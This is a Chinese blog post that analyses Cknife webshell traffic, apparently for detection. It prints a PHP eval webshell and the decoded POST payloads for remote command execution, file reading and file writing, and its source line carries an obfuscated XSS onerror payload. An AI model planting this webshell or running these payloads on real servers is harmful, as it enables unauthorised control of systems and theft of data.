本文首发:https://<img src=1 onerror=\u006coc\u0061tion='j\x61v\x61script:\x61lert\x281\x29'>testdemo

0x01 环境

<?php eval($_REQUEST['shell'] ?>

0x02 命令执行

执行命令结果如下图所示

POST的数据如下图所示

对POST的数据解码

#shell
@eval(base64_decode($_POST[action])); #action
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$p=base64_decode($_POST["z1"]);
$s=base64_decode($_POST["z2"]);
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
$r="{$p} {$c}";
@system($r." 2>&1",$ret);
print ($ret!=0)?"ret={$ret}":"";;
echo("|<-");
die(); #z1
cmd #z2
cd/d"C:\wamp64\www\"&whoami&echo [S]&cd&echo [E]

z2whoami经过cknife的组合再经过base64编码后的结果,cknife通过eval执行action中的代码,把POST的z1z2base64_decode解码,再把z1z2组合成$r,最后用system执行$r,打印执行结果。

返回结果如下图所示

经过cknife的格式处理,返回的结果变成了上图的样子,->||<-中间的内容就是执行命令的结果

0x03 文件下载

POST的数据如下图所示

对POST的数据解码

#shell
@eval(base64_decode($_POST[action])); #action
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$F=get_magic_quotes_gpc()?base64_decode(stripslashes($_POST["z1"])):base64_decode($_POST["z1"]);
$fp=@fopen($F,"r");
if(@fgetc($fp)){
@fclose($fp);
@readfile($F);
}else
{
echo("ERROR:// Can Not Read");
};
echo("|<-");
die(); #z1
C:\wamp64\www\index.php

z1是目标文件路径经过base64编码后的结果,cknife通过eval执行action中的代码,用base64_decode获取文件的路径,然后判断文件是否能够被读取,如果能够被读取,则用readfile()输出文件的内容,最后将输出的文件内容写入到本地文件中。

返回结果如下图所示

有一点需要注意,cknife可能会将返回的所有内容输出到文件中,所以需要手动取出->||<-之间的内容,否则文件可能格式错误

0x04 文件上传

POST的数据如下图所示

对POST的数据解码

#shell
@eval(base64_decode($_POST[action])); #action
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$f=base64_decode($_POST["z1"]);
$c=$_POST["z2"];
$c=str_replace("\r","",$c);
$c=str_replace("\n","",$c);
$buf="";
for($i=0;$i<strlen($c);$i+=2)
$buf.=urldecode("%".substr($c,$i,2));
echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;
echo("|<-");
die(); #z1
C:\wamp64\www\test.txt #z2
this is a test

z1是目标文件路径经过base64编码后的结果,z2是本地文件的内容经过hex编码后的结果,cknife通过eval执行action中的代码,用base64_decode先获取目标文件的路径,然后获取z2的内容,使用for循环将原来的hex编码转换为URL编码,再用urldecode进行解码,追加给$buffor循环结束后$buf就是文件的内容,最后写入目标文件中,写入成功返回1,写入失败返回0

返回结果如下图所示

如果->||<-之间的内容为1,则代表文件上传成功

Cknife流量分析的更多相关文章

  1. 10 个强大的开源 Web 流量分析工具(转帖)

    Web 流量分析工具多不胜数,从 WebTrends 这样专业而昂贵的,到 Google Analytics 这样强大而免费的,从需要在服务器端单独部署的,到可以从前端集成的,不一而足.本文收集并介绍 ...

  2. 两款HTTP流量分析工具HttpWatch与Fiddler的比较(转)

    最近突然想看看HTTP的消息到底是怎么回事,在网上搜了几款软件来监控,并且搜到了下面的文章,感觉介绍的不错,就copy下来了.下文摘自:http://www.imkevinyang.com/2009/ ...

  3. 【迎圣诞,拿大奖】+流量分析+Writeup分享

    太菜了太菜了,刚见到jsfuck时竟然不知道什么东西,自己都不敢说自己做过实验吧上的那道jsfuck题了. 进入正题: 首先解压发现两个文件,一个流量分析包,哇哇哇,我正好刚学了几天wireshark ...

  4. CTF MISC-USB流量分析出题记录

    USB流量分析 USB接口是目前最为通用的外设接口之一,通过监听该接口的流量,可以得到很多有意思的东西,例如键盘击键,鼠标移动与点击,存储设备的明文传输通信.USB无线网卡网络传输内容等. 1.USB ...

  5. 开源流量分析系统 Apache Spot 概述(转)

    原文地址http://blog.nsfocus.net/apache-spot/ Apache Spot 是一个基于网络流量和数据包分析,通过独特的机器学习方法,发现潜在安全威胁和未知网络攻击能力的开 ...

  6. 流量分析系统----讲解-echarts模拟迁移(结合china.js)

    百度 Echarts 地图->模拟迁徙,实现自动切换地图 小航哥注释: 1.本文主要是把模拟迁移的流程讲了一遍,讲的很好.具体实现参考航哥这篇随笔“流量分析系统----实现-echarts模拟迁 ...

  7. 网络流量分析——NPMD关注IT运维、识别宕机和运行不佳进行性能优化。智能化分析是关键-主动发现业务运行异常。科来做APT相关的安全分析

    科来 做流量分析,同时也做了一些安全分析(偏APT)——参考其官网:http://www.colasoft.com.cn/cases-and-application/network-security- ...

  8. Android 流量分析 tcpdump &amp; wireshark

    APP竞争已经白热化了,控制好自己Android应用的流量能够给用户一个良好的用户体验噢,给用户多一个不卸载的理由. Android 怎样进行流量分析?用好tcpdump & wireshar ...

  9. google analytics是什么(免费的网站流量分析服务:比如分析有多少个人来了你的网站,告诉你怎么样才能在网站上面实现最大收益。)

    google analytics是什么(免费的网站流量分析服务:比如分析有多少个人来了你的网站,告诉你怎么样才能在网站上面实现最大收益.) 一.总结 免费的网站流量分析服务:比如分析有多少个人来了你的 ...

随机推荐

  1. DELPHI 数据库操作类(工具类)

    DELPHI 数据库连接类 做的时候目地是可以通过类的创建和释放进行数据库的短连接,在做服务端的时候每一个请求都通过类生成一个数据连接 unit UnDm; interface uses SysUti ...

  2. Golang中的Map(集合)

    Map 是一种无序的键值对的集合.Map 最重要的一点是通过 key 来快速检索数据,key 类似于索引,指向数据的值. Map 是一种集合,所以我们可以像迭代数组和切片那样迭代它.不过,Map 是无 ...

  3. windows xp能连上网但是不能上网的解决办法

    说明:我是使用这个办法解决了,并不能针对所有的情况. 具体情况是,在win xp下,能够看到当前的无线网络,并且也能够连接到无线网络. 但是连接上无线网络之后,他的ip地址和网关是没有改变的.所以也连 ...

  4. 随机图片大小在DIV中垂直居中对齐总结

    老遇到这种样式 现在总结一下 <!DOCTYPE> <html> <head> <meta http-equiv="Content-Type&quo ...

  5. 01点睛Spring4.1-依赖注入

    转载:https://www.iteye.com/blog/wiselyman-2210252 1.1 声明bean 使用上例建立的testMavenSpring项目,将pom.xml文件中的 < ...

  6. linux 使用jar 打包成war

    把当前目录下的所有文件打包成game.war jar -cvfM0 game.war ./ -c   创建war包 -v   显示过程信息 -f     -M -0   这个是阿拉伯数字,只打包不压缩 ...

  7. element组件 MessageBox不能显示确认和取消按钮,记录正确使用方法!

    这里是局部引入 调用方式:

  8. mysql 事物控制语言

    事务控制语言(DTL)    什么是事务        通常,在此之前,我们说,一条语句使用一个分号(;)来结束,并得到执行.        那么我们说,这个“一次性执行”的过程,可以称为“一个事务” ...

  9. Python Http-server 使用

    Python内置的下载服务器 http.server  Python的Web服务器 python2 中SimpleHTTPServer python3 中 http.server 执行 python ...

  10. JDBC连接池的testQuery/validationQuery设置

    在<Tomcat中使用Connector/J连接MySQL的超时问题>帖子中想要增加对连接池中连接的测试/验证,防止数据库认为连接已死而Web应用服务器认为连接还有效的问题,Mysql文档 ...